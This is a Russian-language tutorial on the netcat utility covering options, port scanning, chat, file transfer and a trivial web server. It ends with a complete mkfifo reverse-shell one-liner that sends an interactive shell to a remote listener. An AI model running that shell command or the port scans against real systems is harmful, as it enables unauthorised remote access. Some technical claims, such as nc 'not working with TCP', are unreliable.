Команда netcat необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.
Что дает команда?
Команда netcat (или nc) — это мощный инструмент для работы с сетевыми соединениями. Она часто используется системными администраторами и разработчиками для различных задач. Вот основные функции и возможности netcat:
- Создание TCP/UDP соединений: позволяет устанавливать соединения с удаленными хостами по протоколам TCP и UDP.
- Прослушивание портов: может использоваться как сервер для прослушивания входящих соединений на определенном порту
- Передача данных: передавать данные между компьютерами через сеть. Это может быть полезно для передачи файлов или обмена сообщениями.
- Отладка сетевых приложений: используется для тестирования и отладки сетевых сервисов, позволяя отправлять и получать произвольные данные.
- Создание простых чатов: можно настроить простую текстовую переписку между двумя системами
- Сканирование портов: может использоваться для проверки открытых портов на удаленных хостах
- Туннелирование: позволяет создавать туннели для перенаправления трафика через другие порты или хосты
- Работа с прокси: может использоваться для работы с прокси-серверами и выполнения различных сетевых задач.
netcat является универсальным инструментом, который может быть использован в самых разных сценариях, от простого обмена сообщениями до сложных сетевых операций.
Опции
Для начала рассмотрим синтаксис и наиболее востребованные:
-6– использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;-h– вывести справку со списком доступных параметров;-i- задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;-l– режим прослушивания. Используется с указанием порта;-N– закрыть соединение при достижении конца файла при его отправке;-n– Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;-P- user_name – указать имя пользователя для подключения к прокси;-x- address:port – указать адрес и порт для подключения к прокси;-p- port – указать номер порта. В большинстве случаев порт считывается без указания параметра;-U– использовать сокет домена UNIX (для межпроцессного взаимодействия);-u– использовать протокол UDP, по умолчанию используется TСP;-v– подробный режим. Используется при сканировании;-Wколичество_пакетов – закрыть соединение после получения определённого количества пакетов;-wтаймер – включить таймер для ограничения времени соединения. Задаётся в секундах;-z– отключить отправку данных. Используется при сканировании.
Команда имеет следующий вид (параметры адрес порт):
$ nc
Дальше расскажем о способах применения команды.
Проверяем порт
Проверка – главное применение netcat. Следует использовать два параметра -vz, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. Проверим порты адреса локальной сети:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Таким же способом просканируем порты UDP, добавив параметр -u:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.
Прослушиваем порт
Для прослушивания порта предназначен параметр -l. Его зачастую достаточно, но можете включить подробный режим:
$ nc -nlv 8080

Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.
Обмен файлами
Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:
$ nc -lp 8080
На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:
$ nc 0.0.0.0 8080

Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt:
$ nc -l 8080 > paste.txt
На другом ПК вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:
$ nc -N 0.0.0.0 8080 < copy.txt
Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc – рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.
Простой веб-сервер
Поскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.
На примере сформируем ответ HTTP с файлом index.html. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:
$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду.
Удаленная оболочка
Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.
Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:
$ nc -lvnp 8080
Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.